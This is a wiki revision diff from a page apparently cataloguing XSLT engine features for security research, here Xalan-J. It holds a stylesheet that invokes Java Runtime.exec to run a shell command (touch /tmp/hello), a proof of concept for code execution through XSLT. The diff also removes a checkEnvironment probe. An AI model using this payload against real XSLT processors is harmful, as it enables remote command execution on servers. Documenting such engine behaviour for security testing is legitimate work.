Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35

From version Icon 9.1 Icon
edited by Nicolas Gregoire
on 2012/01/05 01:07
Change comment: There is no comment for this version
To version Icon 6.1 Icon
edited by Nicolas Gregoire
on 2012/01/05 01:00
Change comment: There is no comment for this version

Summary

Details

Icon Page properties
Content
... ... @@ -18,35 +18,26 @@
18 18  * Java properties
19 19  * CheckEnv()
20 20  
21 -== CheckEnv() ==
22 -
23 -The following code will display some information about the execution context :
24 -
25 -[[checkenv.xsl>>attach:checkenv.xsl]]
26 -
27 -TODO
28 -
29 -
30 30  == Java code execution ==
31 31  
32 -The following code will display the current date :
23 +dcdcdd
33 33  
34 -TODO
25 +<?xml version="1.0"?>
26 +<xsl:stylesheet
35 35  
36 -== Execution of external commands ==
28 + xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform"
29 + xmlns:j="http:~/~/xml.apache.org/xalan/java"
37 37  
38 -The following code will execute the command "touch /tmp/hello" :
31 + exclude-result-prefixes="j"
39 39  
40 -<?xml version="1.0"?>
41 -<xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform"
42 - xmlns:j="http:~/~/xml.apache.org/xalan/java"
43 - exclude-result-prefixes="j"
44 - version="1.0">
45 - <xsl:template match="/">
46 - <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable>
47 - <xsl:variable name="a" select="j:split($c, ' = ')"/>
48 - <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/>
49 - <xsl:variable name="p" select="j:exec($r, $a )"/>
50 - No content at the moment ...
51 - </xsl:template>
33 + version="1.0">
34 + <xsl:template match="/">
35 + <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable>
36 + <xsl:variable name="a" select="j:split($c, ' = ')"/>
37 + <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/>
38 + <xsl:variable name="p" select="j:exec($r, $a )"/>
39 + No content at the moment ...
40 + </xsl:template>
52 52  </xsl:stylesheet>
42 +
43 +Saxon
Icon checkenv.xsl
Author
... ... @@ -1,1 +1,0 @@
1 -xwiki:XWiki.NicolasGregoire
Size
... ... @@ -1,1 +1,0 @@
1 -324 bytes
Content
... ... @@ -1,14 +1,0 @@
1 -<?xml version="1.0"?>
2 -
3 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
4 - xmlns:xalan="http://xml.apache.org/xalan"
5 - exclude-result-prefixes="xalan"
6 - version="1.0">
7 -
8 - <xsl:output indent="yes"/>
9 - <xsl:template match="/">
10 - <xsl:copy-of select="xalan:checkEnvironment()"/>
11 - </xsl:template>
12 -
13 -</xsl:stylesheet>
14 -